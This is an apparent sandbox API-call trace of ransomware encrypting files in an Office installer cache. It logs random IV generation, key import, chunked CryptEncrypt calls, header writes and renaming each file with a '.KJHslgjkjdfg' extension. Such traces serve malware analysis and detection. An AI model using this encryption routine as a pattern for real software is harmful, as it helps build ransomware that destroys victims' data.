out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0160.720] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0160.722] GetProcessHeap () returned 0x990000 [0160.722] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0160.722] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0160.722] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0160.723] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xe, lpOverlapped=0x0) returned 1 [0160.725] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0160.725] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0160.725] GetProcessHeap () returned 0x990000 [0160.725] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0160.725] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0160.725] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0160.725] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0160.725] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0160.726] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0160.726] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0160.726] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0160.726] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0160.726] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0160.726] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0160.726] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.726] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x10b2, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x10b2, lpOverlapped=0x0) returned 1 [0160.729] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x10c0, dwBufLen=0x10c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x10c0) returned 1 [0160.729] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.729] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x10c0, lpOverlapped=0x0) returned 1 [0160.730] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0160.730] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.730] SetEndOfFile (hFile=0x124) returned 1 [0160.733] GetProcessHeap () returned 0x990000 [0160.733] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0160.733] GetProcessHeap () returned 0x990000 [0160.733] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0160.733] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.kjhslgjkjdfg")) returned 1 [0160.735] CloseHandle (hObject=0x124) returned 1 [0160.736] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0160.736] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0160.736] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0160.736] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0160.737] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=36233052) returned 1 [0160.737] GetProcessHeap () returned 0x990000 [0160.737] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0160.737] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0160.737] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.737] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0160.740] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0160.741] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0160.741] GetProcessHeap () returned 0x990000 [0160.741] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0160.741] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0160.741] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0160.741] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0160.741] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0160.741] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0160.741] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0160.741] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0160.741] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0160.742] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0160.742] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0160.742] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0160.742] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0160.749] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0160.755] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.755] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0160.756] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.756] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0160.756] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0160.756] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0160.768] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0160.771] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.771] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0160.772] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.772] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0160.772] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224df60, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0160.772] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0160.778] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0160.781] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224df60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.781] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0160.782] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.782] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0160.782] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0160.782] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.782] SetEndOfFile (hFile=0x124) returned 1 [0160.784] GetProcessHeap () returned 0x990000 [0160.784] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0160.784] GetProcessHeap () returned 0x990000 [0160.784] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0160.784] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.kjhslgjkjdfg")) returned 1 [0160.785] CloseHandle (hObject=0x124) returned 1 [0160.785] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0160.785] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0160.785] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0160.786] GetProcessHeap () returned 0x990000 [0160.786] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0160.786] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0160.786] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0160.786] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x6, lpOverlapped=0x0) returned 1 [0160.872] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0160.872] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0160.872] GetProcessHeap () returned 0x990000 [0160.872] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x50) returned 0x9b5500 [0160.872] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b5500*, pdwDataLen=0x29df4e0*=0x50, dwBufLen=0x50 | out: pbData=0x9b5500*, pdwDataLen=0x29df4e0*=0x50) returned 1 [0160.872] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0160.872] WriteFile (in: hFile=0x124, lpBuffer=0x9b5500*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b5500*, lpNumberOfBytesWritten=0x29df4f8*=0x50, lpOverlapped=0x0) returned 1 [0160.872] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0160.873] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0160.873] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0160.873] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0160.873] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0160.873] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0160.873] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0160.873] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.873] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xaec3a, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0xaec3a, lpOverlapped=0x0) returned 1 [0160.896] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xaec40, dwBufLen=0xaec40 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xaec40) returned 1 [0160.903] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.903] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0xaec40, lpOverlapped=0x0) returned 1 [0160.905] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0160.905] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xaed24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.905] SetEndOfFile (hFile=0x124) returned 1 [0160.909] GetProcessHeap () returned 0x990000 [0160.909] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b5500 | out: hHeap=0x990000) returned 1 [0160.909] GetProcessHeap () returned 0x990000 [0160.909] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0160.909] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.kjhslgjkjdfg")) returned 1 [0160.909] CloseHandle (hObject=0x124) returned 1 [0160.910] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProPlusrWW.msi", cAlternateFileName="PROPLU~1.MSI")) returned 1 [0160.910] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0160.914] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=27532288) returned 1 [0160.914] GetProcessHeap () returned 0x990000 [0160.914] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0160.914] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0160.914] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.914] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0160.914] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0160.914] GetProcessHeap () returned 0x990000 [0160.914] 